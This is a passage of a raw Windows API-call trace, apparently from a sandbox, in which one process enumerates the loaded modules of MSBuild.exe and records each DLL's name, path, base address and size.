[0055.051] GetLastError () returned 0x2 [0055.051] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0055.052] GetLastError () returned 0x2 [0055.052] GetModuleInformation (in: hProcess=0x4e4, hModule=0x739c0000, lpmodinfo=0x27267ac, cb=0xc | out: lpmodinfo=0x27267ac*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0055.052] GetLastError () returned 0x2 [0055.052] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0055.053] GetLastError () returned 0x2 [0055.053] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0055.054] GetLastError () returned 0x2 [0055.054] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74720000, lpmodinfo=0x27278b0, cb=0xc | out: lpmodinfo=0x27278b0*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0055.055] GetLastError () returned 0x2 [0055.055] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0055.056] GetLastError () returned 0x2 [0055.056] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0055.057] GetLastError () returned 0x2 [0055.057] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74710000, lpmodinfo=0x27289ac, cb=0xc | out: lpmodinfo=0x27289ac*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0055.058] GetLastError () returned 0x2 [0055.058] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0055.059] GetLastError () returned 0x2 [0055.059] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0055.060] GetLastError () returned 0x2 [0055.060] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73980000, lpmodinfo=0x2729aa8, cb=0xc | out: lpmodinfo=0x2729aa8*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0055.061] GetLastError () returned 0x2 [0055.061] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0055.062] GetLastError () returned 0x2 [0055.062] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0055.063] GetLastError () returned 0x2 [0055.063] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73970000, lpmodinfo=0x272aba4, cb=0xc | out: lpmodinfo=0x272aba4*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0055.064] GetLastError () returned 0x2 [0055.064] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0055.065] GetLastError () returned 0x2 [0055.065] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0055.066] GetLastError () returned 0x2 [0055.066] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73960000, lpmodinfo=0x272bca8, cb=0xc | out: lpmodinfo=0x272bca8*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0055.067] GetLastError () returned 0x2 [0055.067] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0055.068] GetLastError () returned 0x2 [0055.068] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0055.069] GetLastError () returned 0x2 [0055.069] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736e0000, lpmodinfo=0x272cda4, cb=0xc | out: lpmodinfo=0x272cda4*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0055.070] GetLastError () returned 0x2 [0055.070] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0055.071] GetLastError () returned 0x2 [0055.071] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0055.072] GetLastError () returned 0x2 [0055.072] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73910000, lpmodinfo=0x272dea0, cb=0xc | out: lpmodinfo=0x272dea0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0055.073] GetLastError () returned 0x2 [0055.073] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0055.074] GetLastError () returned 0x2 [0055.074] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0055.075] GetLastError () returned 0x2 [0055.075] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736c0000, lpmodinfo=0x272ef94, cb=0xc | out: lpmodinfo=0x272ef94*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0055.076] GetLastError () returned 0x2 [0055.076] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0055.077] GetLastError () returned 0x2 [0055.077] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0055.078] GetLastError () returned 0x2 [0055.078] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736b0000, lpmodinfo=0x2730098, cb=0xc | out: lpmodinfo=0x2730098*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0055.079] GetLastError () returned 0x2 [0055.079] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0055.080] GetLastError () returned 0x2 [0055.080] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0055.081] GetLastError () returned 0x2 [0055.081] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736a0000, lpmodinfo=0x27313a4, cb=0xc | out: lpmodinfo=0x27313a4*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0055.082] GetLastError () returned 0x2 [0055.082] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0055.083] GetLastError () returned 0x2 [0055.083] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0055.084] GetLastError () returned 0x2 [0055.084] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73680000, lpmodinfo=0x27324a8, cb=0xc | out: lpmodinfo=0x27324a8*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0055.085] GetLastError () returned 0x2 [0055.085] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0055.086] GetLastError () returned 0x2 [0055.087] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0055.087] GetLastError () returned 0x2 [0055.088] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73670000, lpmodinfo=0x27335ac, cb=0xc | out: lpmodinfo=0x27335ac*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0055.089] GetLastError () returned 0x2 [0055.089] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0055.090] GetLastError () returned 0x2 [0055.090] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0055.091] GetLastError () returned 0x2 [0055.091] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d00000, lpmodinfo=0x27346a8, cb=0xc | out: lpmodinfo=0x27346a8*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0055.092] GetLastError () returned 0x2 [0055.092] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0055.093] GetLastError () returned 0x2 [0055.093] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0055.094] GetLastError () returned 0x2 [0055.094] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73620000, lpmodinfo=0x27357ac, cb=0xc | out: lpmodinfo=0x27357ac*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0055.095] GetLastError () returned 0x2 [0055.095] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0055.096] GetLastError () returned 0x2 [0055.096] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0055.106] GetLastError () returned 0x2 [0055.106] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73610000, lpmodinfo=0x27368a8, cb=0xc | out: lpmodinfo=0x27368a8*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0055.107] GetLastError () returned 0x2 [0055.107] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0055.108] GetLastError () returned 0x2 [0055.108] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0055.110] GetLastError () returned 0x2 [0055.110] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735d0000, lpmodinfo=0x27379ac, cb=0xc | out: lpmodinfo=0x27379ac*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0055.111] GetLastError () returned 0x2 [0055.111] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0055.112] GetLastError () returned 0x2 [0055.112] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0055.113] GetLastError () returned 0x2 [0055.113] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735c0000, lpmodinfo=0x2738ab0, cb=0xc | out: lpmodinfo=0x2738ab0*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0055.115] GetLastError () returned 0x2 [0055.115] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0055.116] GetLastError () returned 0x2 [0055.116] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0055.117] GetLastError () returned 0x2 [0055.117] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75140000, lpmodinfo=0x2739bb4, cb=0xc | out: lpmodinfo=0x2739bb4*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0055.118] GetLastError () returned 0x2 [0055.118] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0055.119] GetLastError () returned 0x2 [0055.119] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0055.120] GetLastError () returned 0x2 [0055.178] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x27d3890, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x27d3890, lpcbNeeded=0x26e998) returned 1 [0055.179] GetLastError () returned 0x2 [0055.179] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x27d399c, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x27d399c, lpcbNeeded=0x26e998) returned 1 [0055.180] GetLastError () returned 0x2 [0055.180] GetModuleInformation (in: hProcess=0x4e4, hModule=0x400000, lpmodinfo=0x27d3bdc, cb=0xc | out: lpmodinfo=0x27d3bdc*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0055.180] GetLastError () returned 0x2 [0055.180] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0055.180] GetLastError () returned 0x2 [0055.180] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0055.180] GetLastError () returned 0x2 [0055.180] GetModuleInformation (in: hProcess=0x4e4, hModule=0x77130000, lpmodinfo=0x27d4d2c, cb=0xc | out: lpmodinfo=0x27d4d2c*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0055.181] GetLastError () returned 0x2 [0055.181] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0055.181] GetLastError () returned 0x2 [0055.181] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0055.181] GetLastError () returned 0x2 [0055.181] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74b20000, lpmodinfo=0x27d5e20, cb=0xc | out: lpmodinfo=0x27d5e20*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0055.181] GetLastError () returned 0x2 [0055.181] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0055.181] GetLastError () returned 0x2 [0055.181] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0055.181] GetLastError () returned 0x2 [0055.182] GetModuleInformation (in: hProcess=0x4e4, hModule=0x76c20000, lpmodinfo=0x27d6f1c, cb=0xc | out: lpmodinfo=0x27d6f1c*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0055.182] GetLastError () returned 0x2 [0055.182] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0055.182] GetLastError () returned 0x2 [0055.182] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0055.182] GetLastError () returned 0x2 [0055.182] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75960000, lpmodinfo=0x27d8020, cb=0xc | out: lpmodinfo=0x27d8020*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0055.182] GetLastError () returned 0x2 [0055.182] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0055.183] GetLastError () returned 0x2 [0055.183] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0055.183] GetLastError () returned 0x2 [0055.183] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d40000, lpmodinfo=0x27d915c, cb=0xc | out: lpmodinfo=0x27d915c*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0055.183] GetLastError () returned 0x2 [0055.183] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0055.183] GetLastError () returned 0x2 [0055.183] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0055.183] GetLastError () returned 0x2 [0055.184] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74e10000, lpmodinfo=0x27da260, cb=0xc | out: lpmodinfo=0x27da260*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0055.184] GetLastError () returned 0x2 [0055.184] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0055.184] GetLastError () returned 0x2 [0055.184] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0055.184] GetLastError () returned 0x2 [0055.184] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75740000, lpmodinfo=0x27db35c, cb=0xc | out: lpmodinfo=0x27db35c*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0055.184] GetLastError () returned 0x2 [0055.184] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0055.185] GetLastError () returned 0x2 [0055.185] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0055.185] GetLastError () returned 0x2 [0055.185] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ee0000, lpmodinfo=0x27dc458, cb=0xc | out: lpmodinfo=0x27dc458*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0055.185] GetLastError () returned 0x2 [0055.185] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0055.186] GetLastError () returned 0x2 [0055.186] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0055.186] GetLastError () returned 0x2 [0055.186] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c90000, lpmodinfo=0x27dd5a4, cb=0xc | out: lpmodinfo=0x27dd5a4*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0055.186] GetLastError () returned 0x2 [0055.186] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0055.186] GetLastError () returned 0x2 [0055.187] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0055.187] GetLastError () returned 0x2 [0055.187] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c80000, lpmodinfo=0x27de6a0, cb=0xc | out: lpmodinfo=0x27de6a0*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0055.187] GetLastError () returned 0x2 [0055.187] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0055.187] GetLastError () returned 0x2 [0055.187] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0055.188] GetLastError () returned 0x2 [0055.188] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74aa0000, lpmodinfo=0x27df7a4, cb=0xc | out: lpmodinfo=0x27df7a4*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0055.188] GetLastError () returned 0x2 [0055.188] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0055.188] GetLastError () returned 0x2 [0055.188] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0055.189] GetLastError () returned 0x2 [0055.189] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75340000, lpmodinfo=0x27e08dc, cb=0xc | out: lpmodinfo=0x27e08dc*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0055.189] GetLastError () returned 0x2 [0055.189] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0055.189] GetLastError () returned 0x2 [0055.202] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0055.202] GetLastError () returned 0x2 [0055.202] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ad0000, lpmodinfo=0x262bfd8, cb=0xc | out: lpmodinfo=0x262bfd8*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0055.202] GetLastError () returned 0x2 [0055.202] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0055.203] GetLastError () returned 0x2 [0055.203] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0055.203] GetLastError () returned 0x2 [0055.203] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74f40000, lpmodinfo=0x262d0cc, cb=0xc | out: lpmodinfo=0x262d0cc*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0055.203] GetLastError () returned 0x2 [0055.203] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0055.204] GetLastError () returned 0x2 [0055.204] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0055.204] GetLastError () returned 0x2 [0055.204] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75130000, lpmodinfo=0x262e1c8, cb=0xc | out: lpmodinfo=0x262e1c8*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0055.204] GetLastError () returned 0x2 [0055.204] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0055.205] GetLastError () returned 0x2 [0055.205] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0055.205] GetLastError () returned 0x2 [0055.205] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75090000, lpmodinfo=0x262f2b4, cb=0xc | out: lpmodinfo=0x262f2b4*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0055.206] GetLastError () returned 0x2 [0055.206] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0055.208] GetLastError () returned 0x2 [0055.208] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: 